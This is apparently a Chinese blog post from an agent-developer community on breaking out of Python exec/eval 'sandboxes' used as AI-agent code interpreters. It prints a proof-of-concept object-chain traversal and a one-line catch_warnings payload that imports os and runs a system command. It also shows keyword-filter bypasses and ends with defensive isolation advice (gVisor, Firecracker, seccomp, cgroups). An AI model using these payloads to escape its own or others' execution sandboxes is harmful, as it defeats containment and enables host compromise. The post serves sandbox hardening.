Agent 沙箱逃逸实验(一):Python exec/eval 环境下的内建属性穿透

封面信息图

在当下以大模型为核心的智能体(AI Agent)系统中,代码解释器(Code Interpreter)是最基础也最强大的工具之一。为了让 Agent 能够进行数学计算、数据分析或自动化运维,后端通常会提供一个能够动态执行 Python 代码的环境。许多开发者最初为了“轻量”和“快速部署”,往往选择使用 Python 内置的 exec()eval(),并简单地通过清空全局命名空间来作为所谓的“安全沙箱”。这种基于应用层黑名单或简单作用域隔离的防御,在 Python 强大的反射和对象模型面前几乎形同虚设。

经典“伪沙箱”实现的致命缺陷

许多初学者或缺乏攻防经验的开发团队,通常会写出如下代码来尝试限制用户代码的执行权限:

# 典型的不安全 Python 伪沙箱实现
def unsafe_sandbox_run(code_str: str):
    # 试图禁用 __builtins__
    restricted_globals = {"__builtins__": {}}
    restricted_locals = {}
    try:
        # 执行代码
        return exec(code_str, restricted_globals, restricted_locals)
    except Exception as e:
        return f"Execution Error: {e}"

开发者的直觉是:既然已经将 __builtins__ 置空,那么像 importopen()eval()__import__ 这种内置函数和关键方法就无法被调用,系统自然是安全的。

然而,Python 是一门高度动态、一切皆对象的语言。即使全局变量字典中的 __builtins__ 被清空,当前运行时加载的所有对象、类型及其继承链依然完整地驻留在内存中。只要用户能声明任意一个基础对象(例如一个空字典 {}、空列表 []、空字符串 "" 或一个数字),就能顺着 Python 的对象继承链一路向上攀爬,最终触达整个运行时的底层命名空间。

内建属性穿透与对象链攀爬机理

Python 的对象模型中存在几个关键的魔术属性(Magic Attributes):

  1. __class__:返回对象所属的类对象。例如 ().__class__ 返回 <class 'tuple'>
  2. __base__ / __bases__:返回该类的直接父类元组。例如 ().__class__.__bases__[0] 返回 <class 'object'>
  3. __mro__:方法解析顺序(Method Resolution Order),以元组形式列出类的继承层级。
  4. __subclasses__()object 类上的一个内建方法,能返回当前 Python 解释器中已实例化的所有子类列表
  5. __globals__:函数对象特有的属性,返回定义该函数所在模块的全局变量字典。

攻击者一旦拿到了 object 类,调用其 __subclasses__() 方法,就可以遍历当前进程加载的数百个甚至上千个类。在这份庞大的类列表中,往往存在大量引用了 ossyssubprocess 或内建 __builtins__ 的模块和函数。

穿透利用链构造实录

下面这段实验代码展示了如何在清空 __builtins__ 的极端环境下,通过对象链精确定位并恢复危险功能:

# 逃逸利用链分析与 PoC
def explore_object_tree():
    # 1. 获取顶级基类 object
    obj_class = ().__class__.__bases__[0]
    
    # 2. 遍历所有已加载的子类
    subclasses = obj_class.__subclasses__()
    print(f"[*] 当前环境已加载子类总数: {len(subclasses)}")
    
    target_func = None
    for idx, cls in enumerate(subclasses):
        # 寻找拥有 __init__ 并且 __init__ 是 Python 函数的类
        if hasattr(cls, "__init__") and hasattr(cls.__init__, "__globals__"):
            globs = cls.__init__.__globals__
            # 寻找全局命名空间中保留有原始 __builtins__ 或 os 模块的类
            if "system" in globs:
                print(f"[+] 发现直接包含 system 函数的类: {cls.__name__} (索引: {idx})")
                target_func = globs["system"]
                break
            elif "__builtins__" in globs and isinstance(globs["__builtins__"], dict):
                if "eval" in globs["__builtins__"]:
                    print(f"[+] 发现完整 __builtins__ 字典的类: {cls.__name__} (索引: {idx})")
                    # 恢复 eval
                    recovered_eval = globs["__builtins__"]["eval"]
                    return recovered_eval
    return target_func

# 模拟在限制环境下的单行穿透 Payload:
# 利用 warnings.catch_warnings 类中函数作用域逃逸
payload = """
[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('id')
"""

在标准 Python 运行时中,warnings.catch_warnings 对象的 _module 属性直接指向 warnings 模块,而该模块的 __builtins__ 字典中完整保留了原生的 __import__ 函数。这一行 Payload 可以在毫秒内击穿任何仅清空全局 __builtins__ 的纯 Python 沙箱。

绕过关键字与字符过滤的黑客手法

当防御者意识到内建属性危险后,通常会试图增加关键字过滤(例如禁止代码中出现 __class__importevalos 等)。然而,在 Python 解释器灵活的语法下,单纯的字符串黑名单会被轻易绕过:

1. 字符串拼接与编码混淆

如果过滤了双下划线或特定关键字,攻击者可以通过字符串拼接或 Hex 编码动态生成属性名:

# 利用 getattr 与字符串拼接绕过属性名检查
obj = ()
cls = getattr(obj, "__cla" + "ss__")
base = getattr(cls, "__ba" + "ses__")[0]
subclasses = getattr(base, "__sub" + "classes__")()

2. 字符构造与格式化表达

在完全过滤英文字符或引号的极端情况下,甚至可以利用 Python 的格式化字符串、字典键索引或 chr() 组合生成目标字符串:

# 构造下划线与字符
c_under = "%c" % 95
c_name = f"{c_under}{c_under}class{c_under}{c_under}"

3. 基于 AST 抽象语法树校验的局限性

即使开发者采用 ast.parse 解析代码并递归遍历语法树节点,禁止所有的 ImportImportFromCall 节点或对 Attribute 名称做白名单限制,也极易因为语法节点的漏判(如异步生成器、推导式上下文变量泄露、元编程 type() 调用)导致防御被击破。

智能体代码执行环境的防御纵深架构

纯 Python 层的逻辑限制永远无法作为安全边界。要为 AI Agent 打造坚不可摧的代码沙箱,必须实施严格的底层纵深防御(Defense-in-Depth):

+-------------------------------------------------------------+
|                     AI Agent 业务调度层                      |
+-------------------------------------------------------------+
                              | gRPC / REST API
                              v
+-------------------------------------------------------------+
|               轻量级微虚机 / 容器隔离层                      |
|  - Firecracker MicroVM / gVisor (runsc) / nsjail           |
|  - 独立命名空间 (PID, Mount, Network, UTS, IPC)             |
|  - 只读根文件系统 (Read-only RootFS) + 临时 tmpfs (带容量配额) |
+-------------------------------------------------------------+
                              |
                              v
+-------------------------------------------------------------+
|                     Linux 内核安全策略                      |
|  - seccomp-bpf (系统调用白名单,严格禁用 ptrace, mount 等)   |
|  - cgroups v2 (CPU 限制 0.5核, 内存限制 256MB, 进程数限制 32)|
|  - 网络完全阻断 (Network Namespace: None,禁止任何出站连接)   |
+-------------------------------------------------------------+
  1. 内核级系统调用拦截(seccomp-bpf):使用 seccomp 将子进程允许的系统调用严格限制在只读计算所需的几十个基本调用内,阻断 socketconnectexecve 等高危调用。
  2. 轻量级沙箱化虚拟化(gVisor / Firecracker):gVisor 通过在用户态用 Go 实现一套虚拟 Linux 内核(Sentry),将未受信任的 Python 进程与宿主机内核彻底隔离,彻底根绝内核提权与容器逃逸风险。
  3. 严格的资源与生命周期控制(cgroups + Timeout):限制执行进程的最大内存(如 256MB)、CPU 核心数与最大存活时间(如 5 秒),防止 Fork 炸弹或死循环耗尽服务器算力。

永远不要在 Python 应用层假设输入的安全性。将 Python 进程置于最底层的强隔离硬件/内核边界内,才是保障智能体安全运行的唯一标准答案。

Logo

Agent 垂直技术社区,欢迎活跃、内容共建。

更多推荐